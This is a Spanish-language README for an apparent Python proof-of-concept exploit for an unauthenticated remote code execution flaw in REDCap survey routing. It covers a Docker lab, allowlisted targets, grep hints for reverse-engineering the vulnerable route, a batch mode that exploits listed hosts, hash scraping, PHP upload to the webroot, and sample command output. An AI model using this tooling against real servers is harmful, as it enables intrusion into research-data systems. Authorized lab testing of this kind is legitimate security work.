
PoC en Python para CVE-2026-90817, un RCE no autenticado en REDCap mediante enrutamiento de paso de encuestas e inyección de rutas de archivos, con un laboratorio Docker y objetivos protegidos por lista de permitidos.
| Campo | Valor |
|---|
| CVE | CVE-2026-90817 |
| Producto | Vanderbilt University REDCap |
| CVSS | 9.8 Crítico |
| Autenticación | No autenticado (requiere un hash de encuesta pública válido) |
| Afectados | REDCap 13.3.0 y superiores |
| Corregido | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release |
| CWE | CWE-73 (Control externo del nombre de archivo o ruta), CWE-94 (Inyección de código) |
Cadena de ataque:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (objetivo único, protegido por lista de permitidos)
├── docker-compose.yml # Pila de laboratorio MySQL + PHP-Apache
├── redcap-init/
│ ├── database.php # Configuración de BD de REDCap para el laboratorio
│ └── php.ini # Configuración de PHP para el laboratorio
├── redcap-src/ # <-- extraiga el código fuente de REDCap aquí (usted lo proporciona)
├── targets.txt # Objetivos autorizados: un host por línea
├── payload.txt # Archivo de ejemplo para el modo de carga
├── requirements.txt # Dependencias de Python
└── poc_results.txt # Generado tras la ejecución del PoC
REDCap es software con licencia. Debe obtenerlo a través de canales oficiales para su propio laboratorio.
mkdir -p redcap-src
# Extraiga el contenido de su redcap.zip en redcap-src/
# El directorio debe contener index.php, redcap_vX.X.X/, etc.
docker compose up -d
Espere a que pase la verificación de estado de MySQL y luego abra:
http://localhost:8080
Complete el asistente de instalación de REDCap usando estas configuraciones de base de datos (preconfiguradas en redcap-init/database.php):
| Configuración | Valor |
|---|---|
| Host | db |
| Base de datos | redcap |
| Usuario | redcap |
| Contraseña | redcap123 |
s=).Ejemplo de URL de encuesta:
http://localhost:8080/surveys/?s=ABC123XYZ
Hash de la encuesta: ABC123XYZ
El aviso público no revela la ruta exacta del controlador ni el nombre del parámetro. Después de configurar su laboratorio, realice ingeniería inversa sobre redcap-src/ y complete las constantes TODO en poc_cve_2026_90817.py:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # ruta del controlador mediante el paso de encuestas
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # nombre del parámetro de ruta de archivo/flujo
WEBROOT_PATH = "/var/www/html/redcap/" # raíz web dentro del contenedor
UPLOADER_NAME = "x.php" # nombre del archivo de carga PHP
Busque el enrutamiento de paso de encuestas:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
Busque el manejo de ruta de archivo/flujo en la Importación de Datos:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
Establezca STAGE1_SUCCESS_MARKER en una cadena presente en una respuesta exitosa de la etapa 1 (opcional pero recomendado).
pip install -r requirements.txt
El script rechaza objetivos que no sean hosts de laboratorio (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) ni estén listados en targets.txt.
CVE-2026-90817 es no autenticado — no se necesita inicio de sesión. La única precondición es un hash de encuesta pública válido (de la URL de encuesta ?s=HASH).
La herramienta puede descubrir automáticamente el hash de encuesta mediante el scraping de páginas públicas del objetivo (mejor esfuerzo). Comprueba los endpoints comunes de REDCap (/, /redcap/, /index.php, /surveys/) en busca de enlaces /surveys/?s=HASH. Esto solo funciona si el objetivo expone públicamente enlaces de encuestas (mal configurado). Para instancias REDCap correctamente configuradas, proporcione el hash manualmente mediante --hash.
--hash es opcional (se descubre automáticamente si se omite)Para objetivos que no sean de laboratorio, cree targets.txt con un host por línea (FQDN o IP). Usted es responsable de la autorización legal de cada host listado.
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
Objetivo de laboratorio con hash explícito:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
Objetivo de laboratorio con hash descubierto automáticamente:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
Añada --batch para explotar automáticamente cada host listado en targets.txt. La herramienta descubre automáticamente el hash de encuesta por objetivo mediante el scraping de páginas públicas. La herramienta imprime todos los objetivos y solicita confirmación antes de comenzar (use --yes para omitir el aviso en scripts).
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
El puerto se hereda de --target (por defecto 8080). Para usar un puerto diferente, establezca --target http://placeholder:443/ antes de --batch.
El resultado de cada objetivo se añade al archivo de salida. Al final se imprime un resumen: N success, M failed, T total.
| Argumento | Predeterminado | Descripción |
|---|---|---|
--target | http://localhost:8080 | URL base del objetivo |
--hash | (opcional) | Hash de encuesta pública. Si se omite, se descubre automáticamente mediante el scraping de páginas públicas (mejor esfuerzo). |
--allowlist | targets.txt | Archivo de objetivos, un host por línea |
--batch | desactivado | Iterar sobre todos los hosts del archivo de objetivos y explotar cada uno |
--yes | desactivado | Omitir el aviso de confirmación del modo por lotes |
--mode | both | id, upload o both |
--out | poc_results.txt | Archivo de registro de resultados |
--timeout | 30 | Tiempo de espera HTTP (segundos) |
--upload-local | payload.txt | Archivo local a cargar |
--upload-remote | uploaded_payload.txt | Nombre de archivo remoto bajo la raíz web |
--skip-placeholder-check | desactivado | Ejecución en seco del flujo HTTP sin las constantes TODO completadas |
Nota: el descubrimiento automático solo funciona en objetivos que exponen públicamente enlaces de encuestas. Para la mayoría de las instancias REDCap, proporcione --hash manualmente.
En caso de éxito, stdout muestra:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
Los resultados se añaden a poc_results.txt:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
Actualice a REDCap 16.0.49 LTS, 17.3.10 LTS o 17.4.4 Standard Release (según corresponda).
Endurecimiento adicional: